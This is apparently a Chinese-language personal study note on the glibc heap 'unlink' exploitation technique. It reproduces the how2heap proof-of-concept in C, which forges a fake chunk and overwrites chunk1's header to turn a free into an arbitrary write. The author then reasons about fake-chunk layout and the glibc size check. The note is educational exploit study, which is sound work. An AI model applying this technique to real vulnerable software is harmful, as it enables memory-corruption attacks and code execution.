unlink | 记录
学习全靠宋师傅帮助, 宋师傅tql, 我好菜啊
how2heap的例子, 去掉了printf..就是下面的
就是喜闻乐见的chunk0溢出, 修改chunk1的size里的in_use, 以及prevsize, 然后再free chunk1的时候chunk0就会惨遭unlink
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
int malloc_size = 0x80; //we want to be big enough not to use fastbins
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //chunk0
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //chunk1
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
/*
chunk0_ptr[0] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
chunk0_ptr[1] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
*/
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;
// chunk1_hdr[0] = malloc_size + 0x10;
chunk1_hdr[1] &= ~1;
free(chunk1_ptr);
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[1] = (uint64_t) victim_string;
chunk0_ptr[0] = 0x4141414142424242LL;
}
这个注释吧,是我加的…我开始想第一个问题就是
在伪造fake chunk的时候为什么不能换成注释这种…
这样子为什么不可以呢
----------- <---- fake_chunk
prevsize
----------
size
----------
fake_fd
----------
fake_bk
----------
....
----------
为什么要给chunk0的fake_size
和fake_prevsize
留位置
-----------
prevsize
----------
size
----------<---- fake_chunk
fake_prev
----------
fake_size
----------
fake_fd
----------
fake_bk
----------
....
----------
是因为题目中一般都是
char * something_list[20];
something_list[0] = malloc(0x20); // chunk0
something_list[1] = malloc(0x20); // chunk1
所以一般只能找到指向chunk的data的指针, 但很难找到指向chunk头部的指针, 所以要从头开始构造
比如这个something_list[0]
就是指向chunk0的data字段的….所以只能从这里开始伪造一个完整的fake_chunk
第二个问题, 就是既然要从头伪造, 为什么这里没有给chunk0_ptr[0]
和chunk1_ptr[1]
赋值呢
本来给fake_chunk的size赋值是为了过这个check
#define unlink(AV, P, BK, FD) { \
if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0)) \
malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV); \
但这里都是0, 所以相当于
chunksize(P) = 0
next_chunk(P) = P // 由于size字段是0...所以找到的next_chunk还是自己
(next_chunk(P))->prev_size = P ->prev_size
// 所以相当于比较了P自己的prev_size和自己的size, 真好, 都是0
wo好菜啊, 我要加油, 宋师傅tql